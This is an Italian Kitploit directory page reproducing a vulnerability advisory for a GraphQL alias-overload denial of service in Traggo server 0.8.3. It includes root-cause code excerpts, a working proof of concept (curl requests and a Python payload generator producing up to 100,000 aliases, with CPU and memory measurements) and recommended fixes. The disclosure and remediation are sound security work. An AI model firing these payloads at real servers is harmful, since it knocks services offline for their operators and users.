Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/primandito/cve-2026-117184
Analisi delle VulnerabilitàSicurezza WebSicurezza delle API
GitHubprimandito/cve-2026-117184

CVE-2026-117184

Proof-of-concept e analisi tecnica per CVE-2026-117184, una denegazione di servizio non autenticata tramite sovraccarico di alias GraphQL in Traggo 0.8.3, con generatore di payload e indicazioni per la correzione.

Vedi Repository
19 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    618
  • 3

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    407
  • 4

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    324
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer è una piattaforma open-source di gestione degli accessi privilegiati (PAM) che fornisce ai team DevOps e IT un accesso sicuro e on-demand a endpoint SSH, RDP, Kubernetes, database e RemoteApp tramite un browser web.

    279
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    Motore OSINT basato sull'IA per scoprire e mappare oltre 7.700 identità sui social media in tutto il web

    270

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-117184 — Denial of Service non autenticato tramite sovraccarico di alias GraphQL in Traggo 0.8.3

CVE Version Status CVE State

Riepilogo

Traggo server v0.8.3 è vulnerabile a un Denial of Service (DoS) non autenticato. L'endpoint GraphQL accetta un numero illimitato di campi con alias e non ha alcun limite alla dimensione del corpo della richiesta. Poiché il campo version è privo della direttiva @hasRole, la vulnerabilità può essere attivata senza effettuare l'accesso.

Un documento appositamente costruito con molti alias (ad es. {v0:version{name} v1:version{name} ...}) costringe il server a impiegare molto tempo per risolvere i campi e ad allocare memoria in eccesso. Una singola richiesta con 100.000 alias (un payload di 2,0 MB) occupa un core CPU per oltre 100 secondi e consuma quasi 1 GB di RAM. Richieste parallele possono facilmente spingere il processo in condizione di OOM (Out of Memory).

CampoValore
CVE IDCVE-2026-117184
Record ufficialecve.org/CVERecord?id=CVE-2026-117184
Versione affettaTraggo server v0.8.3 (commit 6321119c3c2d55f04e2e4967f6492aabd6067b76)
Tipo di vulnerabilitàCWE-400: Consumo incontrollato di risorse (DoS)
Vettore di attaccoRete
Privilegi richiestiNessuno (non autenticato)
Componente affettaEndpoint GraphQL /graphql (graphql/handler.go), schema.graphql, logger/gql.go
Segnalazione originaletraggo/server#253

File interessati

Percorso del fileDescrizione
graphql/handler.goConfigurazione dell'handler priva di limite di complessità e di limite alla dimensione del corpo.
schema.graphqlIl campo version è privo della direttiva di autenticazione.
auth/hasrole.goImplementazione della direttiva (ignorata per version).
graphql/resolver.goIl resolver version viene invocato per ogni alias.
logger/gql.goLa query grezza viene registrata nei log in caso di errori, amplificando l'impatto della dimensione del corpo.

Analisi della causa radice

1. Configurazione dell'handler priva di limiti

graphql/handler.go:13-27 — handler.ComplexityLimit(...) non viene mai passato. Il corpo della richiesta giunge direttamente a gqlHandler.ServeHTTP senza http.MaxBytesReader.

func Handler(endpoint string, resolvers gqlschema.ResolverRoot, directives gqlschema.DirectiveRoot) http.HandlerFunc {
	gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
		Resolvers:  resolvers,
		Directives: directives,
	}), handler.RequestMiddleware(logger.GQLLog()))
	playground := handler.Playground("Traggo Playground", endpoint)

	return func(writer http.ResponseWriter, request *http.Request) {
		if acceptHTMLAndNotJSON(request) {
			playground.ServeHTTP(writer, request)
		} else {
			gqlHandler.ServeHTTP(writer, request)
		}
	}
}

2. Campo version non autenticato

schema.graphql:62 — Mentre gli altri campi hanno @hasRole(role: USER), il campo version non lo ha, rendendolo raggiungibile senza un header Authorization.

devices: [Device!] @hasRole(role: USER)
timeSpans(fromInclusive: Time, toInclusive: Time, cursor: InputCursor): PagedTimeSpans! @hasRole(role: USER)
# ...
version: Version!

3. Amplificazione del resolver

graphql/resolver.go:67-71 — Ogni alias nel selection set invoca il resolver separatamente, moltiplicando l'utilizzo di CPU e memoria.

func (r *resolver) Version(ctx context.Context) (*gqlmodel.Version, error) {
	gql := &gqlmodel.Version{}
	copier.Copy(gql, r.version)
	return gql, nil
}

4. Comportamento predefinito di gqlgen

gqlgen v0.17.85 abilita il limite di complessità solo quando l'applicazione lo imposta esplicitamente (handler/handler.go:59-67). Poiché Traggo non lo fa, cfg.complexityLimit è 0 e non viene aggiunta alcuna estensione.

5. Amplificazione del logger

logger/gql.go:27-36 — Anche se la query fallisce, viene registrata la query grezza. Un payload da 20 MB genera una voce di log da 20 MB per ogni richiesta.

if len(errs) > 0 {
    // ...
	log.Error().Strs("error", errorStrings).Str("took", elapsed.String()).Msg("GQL: " + toOneLine(hidePassword(rawQuery)))
}

Proof of Concept

Testato sulla v0.8.3, compilata dal sorgente con go build (Go 1.24.4, SQLite, 4 core, 7.7 GB di RAM).

Passo 1: Verificare l'accesso non autenticato

API=http://127.0.0.1:3999/graphql

curl -s -D - "$API" \
  -H 'Content-Type: application/json' \
  --data-binary '{"query":"{version{name commit}}"}' \
  -o /tmp/version.json

cat /tmp/version.json
# Response: {"data":{"version":{"name":"develop","commit":"-"}}}

Passaggio 2: Genera il Payload

python3 - <<'EOF'
import json

for n in (5000, 20000, 50000, 100000):
    q = "{" + " ".join(f"v{i}:version{{name}}" for i in range(n)) + "}"
    with open(f"/tmp/alias_{n}.json", "w") as f:
        json.dump({"query": q}, f)
EOF

(Il file da 100k è di 2.088.904 byte).

Passaggio 3: Inviare e misurare

for n in 5000 20000 50000; do
  curl -s "$API" -H 'Content-Type: application/json' \
    -d @/tmp/alias_$n.json -o /dev/null \
    -w "$n: http=%{http_code} time=%{time_total}\n"
done
AliasDimensione richiestaTempoNote
5.00099 KB0,15 s
20.000409 KB2,37 s
50.0001,0 MB24,47 s100% di un core
100.0002,0 MB102,56 sRSS 962 MB

Passo 4: Esecuzione parallela

Tre richieste da 50k in parallelo hanno mostrato un utilizzo CPU del 291-299% su una macchina a 4 core. Il server non va in crash immediatamente, ma le query piccole rimangono reattive (circa 1 ms) mentre quelle grandi sono in esecuzione. Il problema principale è il pinning della CPU e un potenziale OOM.


Correzione consigliata

1. Impostare il limite di complessità e il limite di dimensione del body

Applicare i limiti in graphql/handler.go:

gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
    Resolvers:  resolvers,
    Directives: directives,
}), 
    handler.ComplexityLimit(1000), // Set a reasonable limit based on dashboard queries
    handler.RequestMiddleware(logger.GQLLog()),
)

// Wrap the request handler with MaxBytesReader
return func(writer http.ResponseWriter, request *http.Request) {
    request.Body = http.MaxBytesReader(writer, request.Body, 1024*1024) // e.g., 1 MB limit
    // ... (rest of the handler)
}

Nota: con ComplexityLimit(1000), la query con 50k alias fallisce in 0,17s con un errore: operation has complexity 100000, which exceeds the limit of 1000.

2. Limitare il campo version

Se version non deve essere pubblico, aggiungi @hasRole(role: USER) a schema.graphql:

version: Version! @hasRole(role: USER)

Ambiente

ComponenteVersione
Traggo Serverv0.8.3 (commit 6321119c...)
Go1.24.4
gqlgen0.17.85
DatabaseSQLite
OSLinux (4 core, 7.7 GB RAM)

Cronologia

DataEvento
2026-10-22Issue #253 segnalata al repository del server Traggo
2026-10-30Record CVE ufficiale pubblicato su cve.org
—In attesa della risposta del maintainer sulla correzione

Riferimenti

Scarica lo strumento